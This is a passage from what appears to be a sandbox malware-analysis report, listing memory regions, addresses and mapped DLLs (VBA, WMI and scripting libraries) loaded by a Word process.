514 start_va = 0xf880000 end_va = 0xfc4cfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f880000" filename = "" Region: id = 515 start_va = 0xfc50000 end_va = 0xfe3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000fc50000" filename = "" Region: id = 516 start_va = 0x9a40000 end_va = 0x9c27fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009a40000" filename = "" Region: id = 517 start_va = 0x9a40000 end_va = 0x9d01fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009a40000" filename = "" Region: id = 518 start_va = 0xf880000 end_va = 0xfb44fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f880000" filename = "" Region: id = 519 start_va = 0x9d10000 end_va = 0x9e76fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009d10000" filename = "" Region: id = 520 start_va = 0x9a40000 end_va = 0x9ba9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009a40000" filename = "" Region: id = 521 start_va = 0xf880000 end_va = 0xfc52fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f880000" filename = "" Region: id = 522 start_va = 0xfc60000 end_va = 0x1002bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000fc60000" filename = "" Region: id = 523 start_va = 0x9bb0000 end_va = 0x9d9cfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009bb0000" filename = "" Region: id = 524 start_va = 0xf880000 end_va = 0xfa6dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f880000" filename = "" Region: id = 525 start_va = 0x9bb0000 end_va = 0x9e7cfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009bb0000" filename = "" Region: id = 526 start_va = 0xfa70000 end_va = 0xfe44fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000fa70000" filename = "" Region: id = 527 start_va = 0xfe50000 end_va = 0x1024ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000fe50000" filename = "" Region: id = 528 start_va = 0x9a40000 end_va = 0x9abffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "~wrf{acd9b227-4878-4345-8bb4-a6a628da4dc3}.tmp" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.Word\\~WRF{ACD9B227-4878-4345-8BB4-A6A628DA4DC3}.tmp" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\content.word\\~wrf{acd9b227-4878-4345-8bb4-a6a628da4dc3}.tmp") Region: id = 529 start_va = 0x69320000 end_va = 0x6959efff monitored = 1 entry_point = 0x693bbfb8 region_type = mapped_file name = "vbe7.dll" filename = "\\PROGRA~2\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files (x86)\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll") Region: id = 530 start_va = 0x69260000 end_va = 0x6931efff monitored = 0 entry_point = 0x69271dfc region_type = mapped_file name = "msvcr100.dll" filename = "\\Windows\\SysWOW64\\msvcr100.dll" (normalized: "c:\\windows\\syswow64\\msvcr100.dll") Region: id = 531 start_va = 0xf880000 end_va = 0xfa5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f880000" filename = "" Region: id = 532 start_va = 0x9b0000 end_va = 0x9bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009b0000" filename = "" Region: id = 533 start_va = 0x9b0000 end_va = 0x9bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009b0000" filename = "" Region: id = 534 start_va = 0x7fe90000 end_va = 0x7fe9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fe90000" filename = "" Region: id = 535 start_va = 0x9b0000 end_va = 0x9bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009b0000" filename = "" Region: id = 536 start_va = 0x9b0000 end_va = 0x9b3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 537 start_va = 0x80f0000 end_va = 0x8134fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000c.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000c.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000c.db") Region: id = 538 start_va = 0x9c0000 end_va = 0x9c3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 539 start_va = 0x9ac0000 end_va = 0x9b4dfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db") Region: id = 540 start_va = 0xc60000 end_va = 0xc70fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\propsys.dll.mui") Region: id = 541 start_va = 0xca0000 end_va = 0xca1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ca0000" filename = "" Region: id = 542 start_va = 0xcb0000 end_va = 0xcb1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000cb0000" filename = "" Region: id = 543 start_va = 0xcc0000 end_va = 0xcc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cc0000" filename = "" Region: id = 544 start_va = 0x10250000 end_va = 0x10741fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000010250000" filename = "" Region: id = 545 start_va = 0xcb70000 end_va = 0xcc56fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibri.ttf" filename = "\\Windows\\Fonts\\calibri.ttf" (normalized: "c:\\windows\\fonts\\calibri.ttf") Region: id = 546 start_va = 0xf880000 end_va = 0xf95cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibrib.ttf" filename = "\\Windows\\Fonts\\calibrib.ttf" (normalized: "c:\\windows\\fonts\\calibrib.ttf") Region: id = 547 start_va = 0xfa50000 end_va = 0xfa5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000fa50000" filename = "" Region: id = 548 start_va = 0x10750000 end_va = 0x1094ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000010750000" filename = "" Region: id = 549 start_va = 0x684d0000 end_va = 0x685ebfff monitored = 0 entry_point = 0x685374f0 region_type = mapped_file name = "uiautomationcore.dll" filename = "\\Windows\\SysWOW64\\UIAutomationCore.dll" (normalized: "c:\\windows\\syswow64\\uiautomationcore.dll") Region: id = 550 start_va = 0x69640000 end_va = 0x69658fff monitored = 0 entry_point = 0x696447e0 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\SysWOW64\\userenv.dll" (normalized: "c:\\windows\\syswow64\\userenv.dll") Region: id = 551 start_va = 0xcc0000 end_va = 0xcc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000cc0000" filename = "" Region: id = 552 start_va = 0x10950000 end_va = 0x10d0cfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000010950000" filename = "" Region: id = 553 start_va = 0x10d10000 end_va = 0x110ccfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000010d10000" filename = "" Region: id = 554 start_va = 0x110d0000 end_va = 0x111cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000110d0000" filename = "" Region: id = 555 start_va = 0x8140000 end_va = 0x814ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008140000" filename = "" Region: id = 556 start_va = 0x8150000 end_va = 0x815ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008150000" filename = "" Region: id = 557 start_va = 0x82b0000 end_va = 0x82bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000082b0000" filename = "" Region: id = 558 start_va = 0x82b0000 end_va = 0x82bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000082b0000" filename = "" Region: id = 559 start_va = 0x9e80000 end_va = 0x9f1cfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009e80000" filename = "" Region: id = 560 start_va = 0x82b0000 end_va = 0x82bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000082b0000" filename = "" Region: id = 561 start_va = 0x82c0000 end_va = 0x82cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000082c0000" filename = "" Region: id = 562 start_va = 0x82d0000 end_va = 0x82dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000082d0000" filename = "" Region: id = 563 start_va = 0x82d0000 end_va = 0x82dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000082d0000" filename = "" Region: id = 564 start_va = 0x82e0000 end_va = 0x82effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000082e0000" filename = "" Region: id = 565 start_va = 0x82f0000 end_va = 0x82fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000082f0000" filename = "" Region: id = 566 start_va = 0x69630000 end_va = 0x6963afff monitored = 0 entry_point = 0x69632150 region_type = mapped_file name = "linkinfo.dll" filename = "\\Windows\\SysWOW64\\linkinfo.dll" (normalized: "c:\\windows\\syswow64\\linkinfo.dll") Region: id = 567 start_va = 0x82d0000 end_va = 0x82d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000082d0000" filename = "" Region: id = 568 start_va = 0x68400000 end_va = 0x684c8fff monitored = 0 entry_point = 0x68413180 region_type = mapped_file name = "ntshrui.dll" filename = "\\Windows\\SysWOW64\\ntshrui.dll" (normalized: "c:\\windows\\syswow64\\ntshrui.dll") Region: id = 569 start_va = 0x69610000 end_va = 0x6962bfff monitored = 0 entry_point = 0x69614720 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 570 start_va = 0x82d0000 end_va = 0x82d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000082d0000" filename = "" Region: id = 571 start_va = 0x69600000 end_va = 0x6960efff monitored = 0 entry_point = 0x69603f00 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\SysWOW64\\cscapi.dll" (normalized: "c:\\windows\\syswow64\\cscapi.dll") Region: id = 572 start_va = 0x82e0000 end_va = 0x82e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000082e0000" filename = "" Region: id = 573 start_va = 0x111d0000 end_va = 0x112d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000111d0000" filename = "" Region: id = 574 start_va = 0x111d0000 end_va = 0x112d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000111d0000" filename = "" Region: id = 575 start_va = 0x111d0000 end_va = 0x112d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000111d0000" filename = "" Region: id = 576 start_va = 0x82e0000 end_va = 0x82e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000082e0000" filename = "" Region: id = 577 start_va = 0x111d0000 end_va = 0x112d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000111d0000" filename = "" Region: id = 578 start_va = 0x111d0000 end_va = 0x112d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000111d0000" filename = "" Region: id = 579 start_va = 0x709c0000 end_va = 0x70a00fff monitored = 0 entry_point = 0x709c7fe0 region_type = mapped_file name = "dataexchange.dll" filename = "\\Windows\\SysWOW64\\DataExchange.dll" (normalized: "c:\\windows\\syswow64\\dataexchange.dll") Region: id = 580 start_va = 0x82e0000 end_va = 0x82effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000082e0000" filename = "" Region: id = 581 start_va = 0x691d0000 end_va = 0x69250fff monitored = 0 entry_point = 0x691eb260 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\SysWOW64\\sxs.dll" (normalized: "c:\\windows\\syswow64\\sxs.dll") Region: id = 582 start_va = 0xf960000 end_va = 0xfa40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msword.olb" filename = "\\Program Files (x86)\\Microsoft Office\\Office16\\MSWORD.OLB" (normalized: "c:\\program files (x86)\\microsoft office\\office16\\msword.olb") Region: id = 583 start_va = 0x111d0000 end_va = 0x113f5fff monitored = 1 entry_point = 0x111de058 region_type = mapped_file name = "vbeui.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vba\\vba7.1\\vbeui.dll") Region: id = 584 start_va = 0x68f90000 end_va = 0x691c0fff monitored = 1 entry_point = 0x68f9e058 region_type = mapped_file name = "vbeui.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vba\\vba7.1\\vbeui.dll") Region: id = 585 start_va = 0x82e0000 end_va = 0x82e1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000082e0000" filename = "" Region: id = 586 start_va = 0x74c00000 end_va = 0x74c41fff monitored = 0 entry_point = 0x74c16f10 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\SysWOW64\\wintrust.dll" (normalized: "c:\\windows\\syswow64\\wintrust.dll") Region: id = 587 start_va = 0x764c0000 end_va = 0x764cdfff monitored = 0 entry_point = 0x764c5410 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 588 start_va = 0x73f90000 end_va = 0x74107fff monitored = 0 entry_point = 0x73fe8a90 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 589 start_va = 0x82f0000 end_va = 0x82fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000082f0000" filename = "" Region: id = 590 start_va = 0x9b50000 end_va = 0x9b75fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "vbe7intl.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vba\\vba7.1\\1033\\vbe7intl.dll") Region: id = 591 start_va = 0x8300000 end_va = 0x830afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "normnfd.nls" filename = "\\Windows\\System32\\normnfd.nls" (normalized: "c:\\windows\\system32\\normnfd.nls") Region: id = 592 start_va = 0x8310000 end_va = 0x831ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008310000" filename = "" Region: id = 593 start_va = 0x8310000 end_va = 0x8310fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008310000" filename = "" Region: id = 594 start_va = 0x9b80000 end_va = 0x9b9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009b80000" filename = "" Region: id = 595 start_va = 0x9ba0000 end_va = 0x9ba2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009ba0000" filename = "" Region: id = 596 start_va = 0x9f20000 end_va = 0x9f23fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009f20000" filename = "" Region: id = 597 start_va = 0x9f30000 end_va = 0x9f30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009f30000" filename = "" Region: id = 598 start_va = 0xb650000 end_va = 0xb650fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b650000" filename = "" Region: id = 599 start_va = 0xcc60000 end_va = 0xcc63fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000cc60000" filename = "" Region: id = 600 start_va = 0xcc70000 end_va = 0xcc8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000cc70000" filename = "" Region: id = 601 start_va = 0xcc90000 end_va = 0xcc92fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000cc90000" filename = "" Region: id = 602 start_va = 0x111d0000 end_va = 0x111e4fff monitored = 1 entry_point = 0x1126bfb8 region_type = mapped_file name = "vbe7.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll") Region: id = 603 start_va = 0xcca0000 end_va = 0xcca4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\SysWOW64\\stdole2.tlb" (normalized: "c:\\windows\\syswow64\\stdole2.tlb") Region: id = 604 start_va = 0x111f0000 end_va = 0x1126bfff monitored = 0 entry_point = 0x111f1000 region_type = mapped_file name = "mso.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\mso.dll") Region: id = 605 start_va = 0xfa60000 end_va = 0xfa63fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000fa60000" filename = "" Region: id = 606 start_va = 0x11270000 end_va = 0x11273fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011270000" filename = "" Region: id = 607 start_va = 0x11280000 end_va = 0x11282fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011280000" filename = "" Region: id = 608 start_va = 0x11290000 end_va = 0x11293fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011290000" filename = "" Region: id = 609 start_va = 0x112a0000 end_va = 0x112bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000112a0000" filename = "" Region: id = 610 start_va = 0x112c0000 end_va = 0x112c2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000112c0000" filename = "" Region: id = 611 start_va = 0x112d0000 end_va = 0x112d5fff monitored = 1 entry_point = 0x1136bfb8 region_type = mapped_file name = "vbe7.dll" filename = "\\Program Files (x86)\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll") Region: id = 612 start_va = 0x112e0000 end_va = 0x112e3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000112e0000" filename = "" Region: id = 613 start_va = 0x112e0000 end_va = 0x1131ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000112e0000" filename = "" Region: id = 614 start_va = 0x11320000 end_va = 0x1141ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011320000" filename = "" Region: id = 615 start_va = 0x11420000 end_va = 0x11423fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011420000" filename = "" Region: id = 616 start_va = 0x11430000 end_va = 0x11433fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011430000" filename = "" Region: id = 617 start_va = 0x11440000 end_va = 0x11701fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011440000" filename = "" Region: id = 618 start_va = 0x11710000 end_va = 0x11716fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011710000" filename = "" Region: id = 619 start_va = 0x695f0000 end_va = 0x695fcfff monitored = 0 entry_point = 0x695f3520 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 620 start_va = 0x68f20000 end_va = 0x68f86fff monitored = 0 entry_point = 0x68f3b610 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 621 start_va = 0x11720000 end_va = 0x11883fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011720000" filename = "" Region: id = 622 start_va = 0x11890000 end_va = 0x118cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011890000" filename = "" Region: id = 623 start_va = 0x118d0000 end_va = 0x119cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000118d0000" filename = "" Region: id = 624 start_va = 0x695d0000 end_va = 0x695e0fff monitored = 0 entry_point = 0x695d8fa0 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 991 start_va = 0x68e60000 end_va = 0x68f1efff monitored = 0 entry_point = 0x68e91e80 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Region: id = 993 start_va = 0x119d0000 end_va = 0x11b3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000119d0000" filename = "" Region: id = 994 start_va = 0x11720000 end_va = 0x11880fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011720000" filename = "" Region: id = 995 start_va = 0x119d0000 end_va = 0x11b34fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000119d0000" filename = "" Region: id = 996 start_va = 0x11720000 end_va = 0x11886fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011720000" filename = "" Region: id = 1001 start_va = 0x68d10000 end_va = 0x68e5dfff monitored = 0 entry_point = 0x68d53000 region_type = mapped_file name = "comsvcs.dll" filename = "\\Windows\\SysWOW64\\comsvcs.dll" (normalized: "c:\\windows\\syswow64\\comsvcs.dll") Region: id = 1002 start_va = 0x71200000 end_va = 0x71212fff monitored = 0 entry_point = 0x71209950 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 1003 start_va = 0x70210000 end_va = 0x7023efff monitored = 0 entry_point = 0x702295e0 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1004 start_va = 0x695a0000 end_va = 0x695c2fff monitored = 0 entry_point = 0x695a7b50 region_type = mapped_file name = "wshom.ocx" filename = "\\Windows\\SysWOW64\\wshom.ocx" (normalized: "c:\\windows\\syswow64\\wshom.ocx") Region: id = 1005 start_va = 0x11440000 end_va = 0x1147ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011440000" filename = "" Region: id = 1006 start_va = 0x11480000 end_va = 0x1157ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011480000" filename = "" Region: id = 1007 start_va = 0x68cc0000 end_va = 0x68ceafff monitored = 0 entry_point = 0x68cc9a70 region_type = mapped_file name = "scrrun.dll" filename = "\\Windows\\SysWOW64\\scrrun.dll" (normalized: "c:\\windows\\syswow64\\scrrun.dll") Region: id = 1008 start_va = 0x68cf0000 end_va = 0x68d05fff monitored = 0 entry_point = 0x68cf21d0 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 1009 start_va = 0x11580000 end_va = 0x1158cfff monitored = 0 entry_point = 0x11587b50 region_type = mapped_file name = "wshom.ocx" filename = "\\Windows\\SysWOW64\\wshom.ocx" (normalized: "c:\\windows\\syswow64\\wshom.ocx") Region: id = 1010 start_va = 0x11580000 end_va = 0x1158ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011580000" filename = "" Region: id = 1011 start_va = 0x11590000 end_va = 0x1159ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011590000" filename = "" Region: id = 1012 start_va = 0x7fe80000 end_va = 0x7fe8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fe80000" filename = "" Region: id = 1013 start_va = 0x115a0000 end_va = 0x115affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000115a0000" filename = "" Region: id = 1014 start_va = 0x115a0000 end_va = 0x11684fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000115a0000" filename = "" Region: id = 1015 start_va = 0x119d0000 end_va = 0x11ac2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000119d0000" filename = "" Region: id = 1016 start_va = 0x68920000 end_va = 0x68cb0fff monitored = 0 entry_point = 0x68bd35b0 region_type = mapped_file name = "d3dcompiler_47.dll" filename = "\\Windows\\SysWOW64\\D3DCompiler_47.dll" (normalized: "c:\\windows\\syswow64\\d3dcompiler_47.dll") Region: id = 1017 start_va = 0x115a0000 end_va = 0x1169ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000115a0000" filename = "" Region: id = 1018 start_va = 0x116a0000 end_va = 0x116affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000116a0000" filename = "" Region: id = 1019 start_va = 0x116b0000 end_va = 0x116bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000116b0000" filename = "" Region: id = 1020 start_va = 0x116c0000 end_va = 0x116cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000116c0000" filename = "" Region: id = 1021 start_va = 0x116c0000 end_va = 0x116cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000116c0000" filename = "" Region: id = 1022 start_va = 0x116d0000 end_va = 0x116dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000116d0000" filename = "" Region: id = 1023 start_va = 0x11ad0000 end_va = 0x11bcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011ad0000" filename = "" Region: id = 1024 start_va = 0x116e0000 end_va = 0x116effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000116e0000" filename = "" Region: id = 1025 start_va = 0x116f0000 end_va = 0x116fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000116f0000" filename = "" Region: id = 1026 start_va = 0x11700000 end_va = 0x1170ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011700000" filename = "" Region: id = 1027 start_va = 0x11bd0000 end_va = 0x11bdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011bd0000" filename = "" Region: id = 1028 start_va = 0x11be0000 end_va = 0x11beffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011be0000" filename = "" Region: id = 1029 start_va = 0x11bf0000 end_va = 0x11bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011bf0000" filename = "" Region: id = 1030 start_va = 0x11c00000 end_va = 0x11c0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011c00000" filename = "" Region: id = 1031 start_va = 0x11c10000 end_va = 0x11c1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011c10000" filename = "" Region: id = 1032 start_va = 0x11bd0000 end_va = 0x11c71fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011bd0000" filename = "" Region: id = 1033 start_va = 0x11c80000 end_va = 0x11c8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011c80000" filename = "" Region: id = 1034 start_va = 0x11c90000 end_va = 0x11c9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011c90000" filename = "" Region: id = 1035 start_va = 0x11ca0000 end_va = 0x11caffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011ca0000" filename = "" Region: id = 1036 start_va = 0x11cb0000 end_va = 0x11cbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011cb0000" filename = "" Region: id = 1037 start_va = 0x11cc0000 end_va = 0x11ccffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011cc0000" filename = "" Region: id = 1038 start_va = 0x11c80000 end_va = 0x11c8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011c80000" filename = "" Region: id = 1039 start_va = 0x11c90000 end_va = 0x11c9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011c90000" filename = "" Region: id = 1040 start_va = 0x11ca0000 end_va = 0x11caffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011ca0000" filename = "" Region: id = 1041 start_va = 0x11cb0000 end_va = 0x11cbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011cb0000" filename = "" Region: id = 1042 start_va = 0x11cc0000 end_va = 0x11ccffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011cc0000" filename = "" Region: id = 1043 start_va = 0x11cd0000 end_va = 0x11cdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000011cd0000" filename = "" Region: id = 1044 start_va = 0x11cd0000 end_va = 0x11cdffff monitored 